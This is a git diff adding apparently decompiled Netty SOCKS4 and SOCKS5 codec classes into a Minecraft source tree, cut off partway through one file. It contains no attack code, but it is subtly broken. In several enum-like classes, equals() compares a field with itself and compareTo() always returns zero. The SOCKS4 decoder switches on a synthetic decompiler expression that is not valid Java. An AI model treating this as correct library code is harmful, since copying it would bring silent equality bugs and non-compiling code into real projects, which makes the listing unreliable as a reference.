diff --git a/src/minecraft/io/netty/handler/codec/socksx/v4/Socks4CommandRequest.java b/src/minecraft/io/netty/handler/codec/socksx/v4/Socks4CommandRequest.java
new file mode 100644
index 0000000..4b2f2a5
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/socksx/v4/Socks4CommandRequest.java
@@ -0,0 +1,13 @@
+package io.netty.handler.codec.socksx.v4;
+
+public abstract interface Socks4CommandRequest
+  extends Socks4Message
+{
+  public abstract Socks4CommandType type();
+  
+  public abstract String userId();
+  
+  public abstract String dstAddr();
+  
+  public abstract int dstPort();
+}
diff --git a/src/minecraft/io/netty/handler/codec/socksx/v4/Socks4CommandResponse.java b/src/minecraft/io/netty/handler/codec/socksx/v4/Socks4CommandResponse.java
new file mode 100644
index 0000000..a326e4c
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/socksx/v4/Socks4CommandResponse.java
@@ -0,0 +1,11 @@
+package io.netty.handler.codec.socksx.v4;
+
+public abstract interface Socks4CommandResponse
+  extends Socks4Message
+{
+  public abstract Socks4CommandStatus status();
+  
+  public abstract String dstAddr();
+  
+  public abstract int dstPort();
+}
diff --git a/src/minecraft/io/netty/handler/codec/socksx/v4/Socks4CommandStatus.java b/src/minecraft/io/netty/handler/codec/socksx/v4/Socks4CommandStatus.java
new file mode 100644
index 0000000..d33e6e5
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/socksx/v4/Socks4CommandStatus.java
@@ -0,0 +1,95 @@
+package io.netty.handler.codec.socksx.v4;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class Socks4CommandStatus
+  implements Comparable<Socks4CommandStatus>
+{
+  public static final Socks4CommandStatus SUCCESS = new Socks4CommandStatus(90, "SUCCESS");
+  public static final Socks4CommandStatus REJECTED_OR_FAILED = new Socks4CommandStatus(91, "REJECTED_OR_FAILED");
+  public static final Socks4CommandStatus IDENTD_UNREACHABLE = new Socks4CommandStatus(92, "IDENTD_UNREACHABLE");
+  public static final Socks4CommandStatus IDENTD_AUTH_FAILURE = new Socks4CommandStatus(93, "IDENTD_AUTH_FAILURE");
+  private final byte byteValue;
+  
+  public static Socks4CommandStatus valueOf(byte b) { switch (b) {
+    case 90: 
+      return SUCCESS;
+    case 91: 
+      return REJECTED_OR_FAILED;
+    case 92: 
+      return IDENTD_UNREACHABLE;
+    case 93: 
+      return IDENTD_AUTH_FAILURE;
+    }
+    
+    return new Socks4CommandStatus(b);
+  }
+  
+
+  private final String name;
+  private String text;
+  public Socks4CommandStatus(int byteValue)
+  {
+    this(byteValue, "UNKNOWN");
+  }
+  
+  public Socks4CommandStatus(int byteValue, String name) {
+    if (name == null) {
+      throw new NullPointerException("name");
+    }
+    
+    this.byteValue = ((byte)byteValue);
+    this.name = name;
+  }
+  
+  public byte byteValue() {
+    return byteValue;
+  }
+  
+  public boolean isSuccess() {
+    return byteValue == 90;
+  }
+  
+  public int hashCode()
+  {
+    return byteValue;
+  }
+  
+  public boolean equals(Object obj)
+  {
+    if (!(obj instanceof Socks4CommandStatus)) {
+      return false;
+    }
+    
+    return byteValue == byteValue;
+  }
+  
+  public int compareTo(Socks4CommandStatus o)
+  {
+    return byteValue - byteValue;
+  }
+  
+  public String toString()
+  {
+    String text = this.text;
+    if (text == null) {
+      this.text = (text = name + '(' + (byteValue & 0xFF) + ')');
+    }
+    return text;
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/socksx/v4/Socks4CommandType.java b/src/minecraft/io/netty/handler/codec/socksx/v4/Socks4CommandType.java
new file mode 100644
index 0000000..e5b12c3
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/socksx/v4/Socks4CommandType.java
@@ -0,0 +1,84 @@
+package io.netty.handler.codec.socksx.v4;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class Socks4CommandType
+  implements Comparable<Socks4CommandType>
+{
+  public static final Socks4CommandType CONNECT = new Socks4CommandType(1, "CONNECT");
+  public static final Socks4CommandType BIND = new Socks4CommandType(2, "BIND");
+  private final byte byteValue;
+  
+  public static Socks4CommandType valueOf(byte b) { switch (b) {
+    case 1: 
+      return CONNECT;
+    case 2: 
+      return BIND;
+    }
+    
+    return new Socks4CommandType(b);
+  }
+  
+
+  private final String name;
+  private String text;
+  public Socks4CommandType(int byteValue)
+  {
+    this(byteValue, "UNKNOWN");
+  }
+  
+  public Socks4CommandType(int byteValue, String name) {
+    if (name == null) {
+      throw new NullPointerException("name");
+    }
+    this.byteValue = ((byte)byteValue);
+    this.name = name;
+  }
+  
+  public byte byteValue() {
+    return byteValue;
+  }
+  
+  public int hashCode()
+  {
+    return byteValue;
+  }
+  
+  public boolean equals(Object obj)
+  {
+    if (!(obj instanceof Socks4CommandType)) {
+      return false;
+    }
+    
+    return byteValue == byteValue;
+  }
+  
+  public int compareTo(Socks4CommandType o)
+  {
+    return byteValue - byteValue;
+  }
+  
+  public String toString()
+  {
+    String text = this.text;
+    if (text == null) {
+      this.text = (text = name + '(' + (byteValue & 0xFF) + ')');
+    }
+    return text;
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/socksx/v4/Socks4Message.java b/src/minecraft/io/netty/handler/codec/socksx/v4/Socks4Message.java
new file mode 100644
index 0000000..49ea45b
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/socksx/v4/Socks4Message.java
@@ -0,0 +1,7 @@
+package io.netty.handler.codec.socksx.v4;
+
+import io.netty.handler.codec.socksx.SocksMessage;
+
+public abstract interface Socks4Message
+  extends SocksMessage
+{}
diff --git a/src/minecraft/io/netty/handler/codec/socksx/v4/Socks4ServerDecoder.java b/src/minecraft/io/netty/handler/codec/socksx/v4/Socks4ServerDecoder.java
new file mode 100644
index 0000000..76a5e16
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/socksx/v4/Socks4ServerDecoder.java
@@ -0,0 +1,133 @@
+package io.netty.handler.codec.socksx.v4;
+
+import io.netty.buffer.ByteBuf;
+import io.netty.channel.ChannelHandlerContext;
+import io.netty.handler.codec.DecoderException;
+import io.netty.handler.codec.DecoderResult;
+import io.netty.handler.codec.ReplayingDecoder;
+import io.netty.handler.codec.socksx.SocksVersion;
+import io.netty.util.CharsetUtil;
+import io.netty.util.NetUtil;
+import java.util.List;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class Socks4ServerDecoder
+  extends ReplayingDecoder<State>
+{
+  private static final int MAX_FIELD_LENGTH = 255;
+  private Socks4CommandType type;
+  private String dstAddr;
+  private int dstPort;
+  private String userId;
+  
+  static enum State
+  {
+    START, 
+    READ_USERID, 
+    READ_DOMAIN, 
+    SUCCESS, 
+    FAILURE;
+    
+
+    private State() {}
+  }
+  
+
+  public Socks4ServerDecoder()
+  {
+    super(State.START);
+    setSingleDecode(true);
+  }
+  
+  protected void decode(ChannelHandlerContext ctx, ByteBuf in, List<Object> out) throws Exception
+  {
+    try {
+      switch (1.$SwitchMap$io$netty$handler$codec$socksx$v4$Socks4ServerDecoder$State[((State)state()).ordinal()]) {
+      case 1: 
+        int version = in.readUnsignedByte();
+        if (version != SocksVersion.SOCKS4a.byteValue()) {
+          throw new DecoderException("unsupported protocol version: " + version);
+        }
+        
+        type = Socks4CommandType.valueOf(in.readByte());
+        dstPort = in.readUnsignedShort();
+        dstAddr = NetUtil.intToIpAddress(in.readInt());
+        checkpoint(State.READ_USERID);
+      
+      case 2: 
+        userId = readString("userid", in);
+        checkpoint(State.READ_DOMAIN);
+      
+
+      case 3: 
+        if ((!"0.0.0.0".equals(dstAddr)) && (dstAddr.startsWith("0.0.0."))) {
+          dstAddr = readString("dstAddr", in);
+        }
+        out.add(new DefaultSocks4CommandRequest(type, dstAddr, dstPort, userId));
+        checkpoint(State.SUCCESS);
+      
+      case 4: 
+        int readableBytes = actualReadableBytes();
+        if (readableBytes > 0) {
+          out.add(in.readRetainedSlice(readableBytes));
+        }
+        
+        break;
+      case 5: 
+        in.skipBytes(actualReadableBytes());
+      }
+    }
+    catch (Exception e)
+    {
+      fail(out, e);
+    }
+  }
+  
+  private void fail(List<Object> out, Throwable cause) {
+    if (!(cause instanceof DecoderException)) {
+      cause = new DecoderException(cause);
+    }
+    
+    Socks4CommandRequest m = new DefaultSocks4CommandRequest(type != null ? type : Socks4CommandType.CONNECT, dstAddr != null ? dstAddr : "", dstPort != 0 ? dstPort : 65535, userId != null ? userId : "");
+    
+
+
+
+
+    m.setDecoderResult(DecoderResult.failure(cause));
+    out.add(m);
+    
+    checkpoint(State.FAILURE);
+  }
+  
+
+
+  private static String readString(String fieldName, ByteBuf in)
+  {
+    int length = in.bytesBefore(256, (byte)0);
+    if (length < 0) {
+      throw new DecoderException("field '" + fieldName + "' longer than " + 255 + " chars");
+    }
+    
+    String value = in.readSlice(length).toString(CharsetUtil.US_ASCII);
+    in.skipBytes(1);
+    
+    return value;
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/socksx/v4/Socks4ServerEncoder.java b/src/minecraft/io/netty/handler/codec/socksx/v4/Socks4ServerEncoder.java
new file mode 100644
index 0000000..ebde59e
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/socksx/v4/Socks4ServerEncoder.java
@@ -0,0 +1,44 @@
+package io.netty.handler.codec.socksx.v4;
+
+import io.netty.buffer.ByteBuf;
+import io.netty.channel.ChannelHandler.Sharable;
+import io.netty.channel.ChannelHandlerContext;
+import io.netty.handler.codec.MessageToByteEncoder;
+import io.netty.util.NetUtil;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+@ChannelHandler.Sharable
+public final class Socks4ServerEncoder
+  extends MessageToByteEncoder<Socks4CommandResponse>
+{
+  public static final Socks4ServerEncoder INSTANCE = new Socks4ServerEncoder();
+  
+  private static final byte[] IPv4_HOSTNAME_ZEROED = { 0, 0, 0, 0 };
+  
+  private Socks4ServerEncoder() {}
+  
+  protected void encode(ChannelHandlerContext ctx, Socks4CommandResponse msg, ByteBuf out) throws Exception
+  {
+    out.writeByte(0);
+    out.writeByte(msg.status().byteValue());
+    out.writeShort(msg.dstPort());
+    out.writeBytes(msg.dstAddr() == null ? IPv4_HOSTNAME_ZEROED : NetUtil.createByteArrayFromIpAddressString(msg.dstAddr()));
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/socksx/v5/AbstractSocks5Message.java b/src/minecraft/io/netty/handler/codec/socksx/v5/AbstractSocks5Message.java
new file mode 100644
index 0000000..a17f9bd
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/socksx/v5/AbstractSocks5Message.java
@@ -0,0 +1,30 @@
+package io.netty.handler.codec.socksx.v5;
+
+import io.netty.handler.codec.socksx.AbstractSocksMessage;
+import io.netty.handler.codec.socksx.SocksVersion;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public abstract class AbstractSocks5Message
+  extends AbstractSocksMessage
+  implements Socks5Message
+{
+  public AbstractSocks5Message() {}
+  
+  public final SocksVersion version()
+  {
+    return SocksVersion.SOCKS5;
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/socksx/v5/DefaultSocks5CommandRequest.java b/src/minecraft/io/netty/handler/codec/socksx/v5/DefaultSocks5CommandRequest.java
new file mode 100644
index 0000000..a1a5127
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/socksx/v5/DefaultSocks5CommandRequest.java
@@ -0,0 +1,116 @@
+package io.netty.handler.codec.socksx.v5;
+
+import io.netty.handler.codec.DecoderResult;
+import io.netty.util.NetUtil;
+import io.netty.util.internal.StringUtil;
+import java.net.IDN;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public final class DefaultSocks5CommandRequest
+  extends AbstractSocks5Message
+  implements Socks5CommandRequest
+{
+  private final Socks5CommandType type;
+  private final Socks5AddressType dstAddrType;
+  private final String dstAddr;
+  private final int dstPort;
+  
+  public DefaultSocks5CommandRequest(Socks5CommandType type, Socks5AddressType dstAddrType, String dstAddr, int dstPort)
+  {
+    if (type == null) {
+      throw new NullPointerException("type");
+    }
+    if (dstAddrType == null) {
+      throw new NullPointerException("dstAddrType");
+    }
+    if (dstAddr == null) {
+      throw new NullPointerException("dstAddr");
+    }
+    
+    if (dstAddrType == Socks5AddressType.IPv4) {
+      if (!NetUtil.isValidIpV4Address(dstAddr)) {
+        throw new IllegalArgumentException("dstAddr: " + dstAddr + " (expected: a valid IPv4 address)");
+      }
+    } else if (dstAddrType == Socks5AddressType.DOMAIN) {
+      dstAddr = IDN.toASCII(dstAddr);
+      if (dstAddr.length() > 255) {
+        throw new IllegalArgumentException("dstAddr: " + dstAddr + " (expected: less than 256 chars)");
+      }
+    } else if ((dstAddrType == Socks5AddressType.IPv6) && 
+      (!NetUtil.isValidIpV6Address(dstAddr))) {
+      throw new IllegalArgumentException("dstAddr: " + dstAddr + " (expected: a valid IPv6 address");
+    }
+    
+
+    if ((dstPort <= 0) || (dstPort >= 65536)) {
+      throw new IllegalArgumentException("dstPort: " + dstPort + " (expected: 1~65535)");
+    }
+    
+    this.type = type;
+    this.dstAddrType = dstAddrType;
+    this.dstAddr = dstAddr;
+    this.dstPort = dstPort;
+  }
+  
+  public Socks5CommandType type()
+  {
+    return type;
+  }
+  
+  public Socks5AddressType dstAddrType()
+  {
+    return dstAddrType;
+  }
+  
+  public String dstAddr()
+  {
+    return dstAddr;
+  }
+  
+  public int dstPort()
+  {
+    return dstPort;
+  }
+  
+  public String toString()
+  {
+    StringBuilder buf = new StringBuilder(128);
+    buf.append(StringUtil.simpleClassName(this));
+    
+    DecoderResult decoderResult = decoderResult();
+    if (!decoderResult.isSuccess()) {
+      buf.append("(decoderResult: ");
+      buf.append(decoderResult);
+      buf.append(", type: ");
+    } else {
+      buf.append("(type: ");
+    }
+    buf.append(type());
+    buf.append(", dstAddrType: ");
+    buf.append(dstAddrType());
+    buf.append(", dstAddr: ");
+    buf.append(dstAddr());
+    buf.append(", dstPort: ");
+    buf.append(dstPort());
+    buf.append(')');
+    
+    return buf.toString();
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/socksx/v5/DefaultSocks5CommandResponse.java b/src/minecraft/io/netty/handler/codec/socksx/v5/DefaultSocks5CommandResponse.java
new file mode 100644
index 0000000..fd6decc
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/socksx/v5/DefaultSocks5CommandResponse.java
@@ -0,0 +1,117 @@
+package io.netty.handler.codec.socksx.v5;
+
+import io.netty.handler.codec.DecoderResult;
+import io.netty.util.NetUtil;
+import io.netty.util.internal.StringUtil;
+import java.net.IDN;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public final class DefaultSocks5CommandResponse
+  extends AbstractSocks5Message
+  implements Socks5CommandResponse
+{
+  private final Socks5CommandStatus status;
+  private final Socks5AddressType bndAddrType;
+  private final String bndAddr;
+  private final int bndPort;
+  
+  public DefaultSocks5CommandResponse(Socks5CommandStatus status, Socks5AddressType bndAddrType)
+  {
+    this(status, bndAddrType, null, 0);
+  }
+  
+
+  public DefaultSocks5CommandResponse(Socks5CommandStatus status, Socks5AddressType bndAddrType, String bndAddr, int bndPort)
+  {
+    if (status == null) {
+      throw new NullPointerException("status");
+    }
+    if (bndAddrType == null) {
+      throw new NullPointerException("bndAddrType");
+    }
+    if (bndAddr != null) {
+      if (bndAddrType == Socks5AddressType.IPv4) {
+        if (!NetUtil.isValidIpV4Address(bndAddr)) {
+          throw new IllegalArgumentException("bndAddr: " + bndAddr + " (expected: a valid IPv4 address)");
+        }
+      } else if (bndAddrType == Socks5AddressType.DOMAIN) {
+        bndAddr = IDN.toASCII(bndAddr);
+        if (bndAddr.length() > 255) {
+          throw new IllegalArgumentException("bndAddr: " + bndAddr + " (expected: less than 256 chars)");
+        }
+      } else if ((bndAddrType == Socks5AddressType.IPv6) && 
+        (!NetUtil.isValidIpV6Address(bndAddr))) {
+        throw new IllegalArgumentException("bndAddr: " + bndAddr + " (expected: a valid IPv6 address)");
+      }
+    }
+    
+
+    if ((bndPort < 0) || (bndPort > 65535)) {
+      throw new IllegalArgumentException("bndPort: " + bndPort + " (expected: 0~65535)");
+    }
+    this.status = status;
+    this.bndAddrType = bndAddrType;
+    this.bndAddr = bndAddr;
+    this.bndPort = bndPort;
+  }
+  
+  public Socks5CommandStatus status()
+  {
+    return status;
+  }
+  
+  public Socks5AddressType bndAddrType()
+  {
+    return bndAddrType;
+  }
+  
+  public String bndAddr()
+  {
+    return bndAddr;
+  }
+  
+  public int bndPort()
+  {
+    return bndPort;
+  }
+  
+  public String toString()
+  {
+    StringBuilder buf = new StringBuilder(128);
+    buf.append(StringUtil.simpleClassName(this));
+    
+    DecoderResult decoderResult = decoderResult();
+    if (!decoderResult.isSuccess()) {
+      buf.append("(decoderResult: ");
+      buf.append(decoderResult);
+      buf.append(", status: ");
+    } else {
+      buf.append("(status: ");
+    }
+    buf.append(status());
+    buf.append(", bndAddrType: ");
+    buf.append(bndAddrType());
+    buf.append(", bndAddr: ");
+    buf.append(bndAddr());
+    buf.append(", bndPort: ");
+    buf.append(bndPort());
+    buf.append(')');
+    
+    return buf.toString();
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/socksx/v5/DefaultSocks5InitialRequest.java b/src/minecraft/io/netty/handler/codec/socksx/v5/DefaultSocks5InitialRequest.java
new file mode 100644
index 0000000..5e021ee
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/socksx/v5/DefaultSocks5InitialRequest.java
@@ -0,0 +1,94 @@
+package io.netty.handler.codec.socksx.v5;
+
+import io.netty.handler.codec.DecoderResult;
+import io.netty.util.internal.StringUtil;
+import java.util.ArrayList;
+import java.util.Collections;
+import java.util.List;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class DefaultSocks5InitialRequest
+  extends AbstractSocks5Message
+  implements Socks5InitialRequest
+{
+  private final List<Socks5AuthMethod> authMethods;
+  
+  public DefaultSocks5InitialRequest(Socks5AuthMethod... authMethods)
+  {
+    if (authMethods == null) {
+      throw new NullPointerException("authMethods");
+    }
+    
+    List<Socks5AuthMethod> list = new ArrayList(authMethods.length);
+    for (Socks5AuthMethod m : authMethods) {
+      if (m == null) {
+        break;
+      }
+      list.add(m);
+    }
+    
+    if (list.isEmpty()) {
+      throw new IllegalArgumentException("authMethods is empty");
+    }
+    
+    this.authMethods = Collections.unmodifiableList(list);
+  }
+  
+  public DefaultSocks5InitialRequest(Iterable<Socks5AuthMethod> authMethods) {
+    if (authMethods == null) {
+      throw new NullPointerException("authSchemes");
+    }
+    
+    List<Socks5AuthMethod> list = new ArrayList();
+    for (Socks5AuthMethod m : authMethods) {
+      if (m == null) {
+        break;
+      }
+      list.add(m);
+    }
+    
+    if (list.isEmpty()) {
+      throw new IllegalArgumentException("authMethods is empty");
+    }
+    
+    this.authMethods = Collections.unmodifiableList(list);
+  }
+  
+  public List<Socks5AuthMethod> authMethods()
+  {
+    return authMethods;
+  }
+  
+  public String toString()
+  {
+    StringBuilder buf = new StringBuilder(StringUtil.simpleClassName(this));
+    
+    DecoderResult decoderResult = decoderResult();
+    if (!decoderResult.isSuccess()) {
+      buf.append("(decoderResult: ");
+      buf.append(decoderResult);
+      buf.append(", authMethods: ");
+    } else {
+      buf.append("(authMethods: ");
+    }
+    buf.append(authMethods());
+    buf.append(')');
+    
+    return buf.toString();
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/socksx/v5/DefaultSocks5InitialResponse.java b/src/minecraft/io/netty/handler/codec/socksx/v5/DefaultSocks5InitialResponse.java
new file mode 100644
index 0000000..f5b9f20
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/socksx/v5/DefaultSocks5InitialResponse.java
@@ -0,0 +1,57 @@
+package io.netty.handler.codec.socksx.v5;
+
+import io.netty.handler.codec.DecoderResult;
+import io.netty.util.internal.StringUtil;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class DefaultSocks5InitialResponse
+  extends AbstractSocks5Message
+  implements Socks5InitialResponse
+{
+  private final Socks5AuthMethod authMethod;
+  
+  public DefaultSocks5InitialResponse(Socks5AuthMethod authMethod)
+  {
+    if (authMethod == null) {
+      throw new NullPointerException("authMethod");
+    }
+    this.authMethod = authMethod;
+  }
+  
+  public Socks5AuthMethod authMethod()
+  {
+    return authMethod;
+  }
+  
+  public String toString()
+  {
+    StringBuilder buf = new StringBuilder(StringUtil.simpleClassName(this));
+    
+    DecoderResult decoderResult = decoderResult();
+    if (!decoderResult.isSuccess()) {
+      buf.append("(decoderResult: ");
+      buf.append(decoderResult);
+      buf.append(", authMethod: ");
+    } else {
+      buf.append("(authMethod: ");
+    }
+    buf.append(authMethod());
+    buf.append(')');
+    
+    return buf.toString();
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/socksx/v5/DefaultSocks5PasswordAuthRequest.java b/src/minecraft/io/netty/handler/codec/socksx/v5/DefaultSocks5PasswordAuthRequest.java
new file mode 100644
index 0000000..b224ad0
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/socksx/v5/DefaultSocks5PasswordAuthRequest.java
@@ -0,0 +1,75 @@
+package io.netty.handler.codec.socksx.v5;
+
+import io.netty.handler.codec.DecoderResult;
+import io.netty.util.internal.StringUtil;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class DefaultSocks5PasswordAuthRequest
+  extends AbstractSocks5Message
+  implements Socks5PasswordAuthRequest
+{
+  private final String username;
+  private final String password;
+  
+  public DefaultSocks5PasswordAuthRequest(String username, String password)
+  {
+    if (username == null) {
+      throw new NullPointerException("username");
+    }
+    if (password == null) {
+      throw new NullPointerException("password");
+    }
+    
+    if (username.length() > 255) {
+      throw new IllegalArgumentException("username: **** (expected: less than 256 chars)");
+    }
+    if (password.length() > 255) {
+      throw new IllegalArgumentException("password: **** (expected: less than 256 chars)");
+    }
+    
+    this.username = username;
+    this.password = password;
+  }
+  
+  public String username()
+  {
+    return username;
+  }
+  
+  public String password()
+  {
+    return password;
+  }
+  
+  public String toString()
+  {
+    StringBuilder buf = new StringBuilder(StringUtil.simpleClassName(this));
+    
+    DecoderResult decoderResult = decoderResult();
+    if (!decoderResult.isSuccess()) {
+      buf.append("(decoderResult: ");
+      buf.append(decoderResult);
+      buf.append(", username: ");
+    } else {
+      buf.append("(username: ");
+    }
+    buf.append(username());
+    buf.append(", password: ****)");
+    
+    return buf.toString();
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/socksx/v5/DefaultSocks5PasswordAuthResponse.java b/src/minecraft/io/netty/handler/codec/socksx/v5/DefaultSocks5PasswordAuthResponse.java
new file mode 100644
index 0000000..27caaa7
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/socksx/v5/DefaultSocks5PasswordAuthResponse.java
@@ -0,0 +1,58 @@
+package io.netty.handler.codec.socksx.v5;
+
+import io.netty.handler.codec.DecoderResult;
+import io.netty.util.internal.StringUtil;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class DefaultSocks5PasswordAuthResponse
+  extends AbstractSocks5Message
+  implements Socks5PasswordAuthResponse
+{
+  private final Socks5PasswordAuthStatus status;
+  
+  public DefaultSocks5PasswordAuthResponse(Socks5PasswordAuthStatus status)
+  {
+    if (status == null) {
+      throw new NullPointerException("status");
+    }
+    
+    this.status = status;
+  }
+  
+  public Socks5PasswordAuthStatus status()
+  {
+    return status;
+  }
+  
+  public String toString()
+  {
+    StringBuilder buf = new StringBuilder(StringUtil.simpleClassName(this));
+    
+    DecoderResult decoderResult = decoderResult();
+    if (!decoderResult.isSuccess()) {
+      buf.append("(decoderResult: ");
+      buf.append(decoderResult);
+      buf.append(", status: ");
+    } else {
+      buf.append("(status: ");
+    }
+    buf.append(status());
+    buf.append(')');
+    
+    return buf.toString();
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/socksx/v5/Socks5AddressDecoder.java b/src/minecraft/io/netty/handler/codec/socksx/v5/Socks5AddressDecoder.java
new file mode 100644
index 0000000..c77014a
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/socksx/v5/Socks5AddressDecoder.java
@@ -0,0 +1,64 @@
+package io.netty.handler.codec.socksx.v5;
+
+import io.netty.buffer.ByteBuf;
+import io.netty.handler.codec.DecoderException;
+import io.netty.util.CharsetUtil;
+import io.netty.util.NetUtil;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public abstract interface Socks5AddressDecoder
+{
+  public static final Socks5AddressDecoder DEFAULT = new Socks5AddressDecoder()
+  {
+    private static final int IPv6_LEN = 16;
+    
+    public String decodeAddress(Socks5AddressType addrType, ByteBuf in) throws Exception
+    {
+      if (addrType == Socks5AddressType.IPv4) {
+        return NetUtil.intToIpAddress(in.readInt());
+      }
+      if (addrType == Socks5AddressType.DOMAIN) {
+        int length = in.readUnsignedByte();
+        String domain = in.toString(in.readerIndex(), length, CharsetUtil.US_ASCII);
+        in.skipBytes(length);
+        return domain;
+      }
+      if (addrType == Socks5AddressType.IPv6) {
+        if (in.hasArray()) {
+          int readerIdx = in.readerIndex();
+          in.readerIndex(readerIdx + 16);
+          return NetUtil.bytesToIpAddress(in.array(), in.arrayOffset() + readerIdx, 16);
+        }
+        byte[] tmp = new byte[16];
+        in.readBytes(tmp);
+        return NetUtil.bytesToIpAddress(tmp);
+      }
+      
+      throw new DecoderException("unsupported address type: " + (addrType.byteValue() & 0xFF));
+    }
+  };
+  
+  public abstract String decodeAddress(Socks5AddressType paramSocks5AddressType, ByteBuf paramByteBuf)
+    throws Exception;
+}
diff --git a/src/minecraft/io/netty/handler/codec/socksx/v5/Socks5AddressEncoder.java b/src/minecraft/io/netty/handler/codec/socksx/v5/Socks5AddressEncoder.java
new file mode 100644
index 0000000..5486614
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/socksx/v5/Socks5AddressEncoder.java
@@ -0,0 +1,66 @@
+package io.netty.handler.codec.socksx.v5;
+
+import io.netty.buffer.ByteBuf;
+import io.netty.handler.codec.EncoderException;
+import io.netty.util.CharsetUtil;
+import io.netty.util.NetUtil;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public abstract interface Socks5AddressEncoder
+{
+  public static final Socks5AddressEncoder DEFAULT = new Socks5AddressEncoder()
+  {
+    public void encodeAddress(Socks5AddressType addrType, String addrValue, ByteBuf out) throws Exception {
+      byte typeVal = addrType.byteValue();
+      if (typeVal == Socks5AddressType.IPv4.byteValue()) {
+        if (addrValue != null) {
+          out.writeBytes(NetUtil.createByteArrayFromIpAddressString(addrValue));
+        } else {
+          out.writeInt(0);
+        }
+      } else if (typeVal == Socks5AddressType.DOMAIN.byteValue()) {
+        if (addrValue != null) {
+          byte[] bndAddr = addrValue.getBytes(CharsetUtil.US_ASCII);
+          out.writeByte(bndAddr.length);
+          out.writeBytes(bndAddr);
+        } else {
+          out.writeByte(1);
+          out.writeByte(0);
+        }
+      } else if (typeVal == Socks5AddressType.IPv6.byteValue()) {
+        if (addrValue != null) {
+          out.writeBytes(NetUtil.createByteArrayFromIpAddressString(addrValue));
+        } else {
+          out.writeLong(0L);
+          out.writeLong(0L);
+        }
+      } else {
+        throw new EncoderException("unsupported addrType: " + (addrType.byteValue() & 0xFF));
+      }
+    }
+  };
+  
+  public abstract void encodeAddress(Socks5AddressType paramSocks5AddressType, String paramString, ByteBuf paramByteBuf)
+    throws Exception;
+}
diff --git a/src/minecraft/io/netty/handler/codec/socksx/v5/Socks5AddressType.java b/src/minecraft/io/netty/handler/codec/socksx/v5/Socks5AddressType.java
new file mode 100644
index 0000000..9051cc6
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/socksx/v5/Socks5AddressType.java
@@ -0,0 +1,89 @@
+package io.netty.handler.codec.socksx.v5;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class Socks5AddressType
+  implements Comparable<Socks5AddressType>
+{
+  public static final Socks5AddressType IPv4 = new Socks5AddressType(1, "IPv4");
+  public static final Socks5AddressType DOMAIN = new Socks5AddressType(3, "DOMAIN");
+  public static final Socks5AddressType IPv6 = new Socks5AddressType(4, "IPv6");
+  private final byte byteValue;
+  
+  public static Socks5AddressType valueOf(byte b) { switch (b) {
+    case 1: 
+      return IPv4;
+    case 3: 
+      return DOMAIN;
+    case 4: 
+      return IPv6;
+    }
+    
+    return new Socks5AddressType(b);
+  }
+  
+
+  private final String name;
+  private String text;
+  public Socks5AddressType(int byteValue)
+  {
+    this(byteValue, "UNKNOWN");
+  }
+  
+  public Socks5AddressType(int byteValue, String name) {
+    if (name == null) {
+      throw new NullPointerException("name");
+    }
+    
+    this.byteValue = ((byte)byteValue);
+    this.name = name;
+  }
+  
+  public byte byteValue() {
+    return byteValue;
+  }
+  
+  public int hashCode()
+  {
+    return byteValue;
+  }
+  
+  public boolean equals(Object obj)
+  {
+    if (!(obj instanceof Socks5AddressType)) {
+      return false;
+    }
+    
+    return byteValue == byteValue;
+  }
+  
+  public int compareTo(Socks5AddressType o)
+  {
+    return byteValue - byteValue;
+  }
+  
+  public String toString()
+  {
+    String text = this.text;
+    if (text == null) {
+      this.text = (text = name + '(' + (byteValue & 0xFF) + ')');
+    }
+    return text;
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/socksx/v5/Socks5AuthMethod.java b/src/minecraft/io/netty/handler/codec/socksx/v5/Socks5AuthMethod.java
new file mode 100644
index 0000000..944002c
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/socksx/v5/Socks5AuthMethod.java
@@ -0,0 +1,96 @@
+package io.netty.handler.codec.socksx.v5;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class Socks5AuthMethod
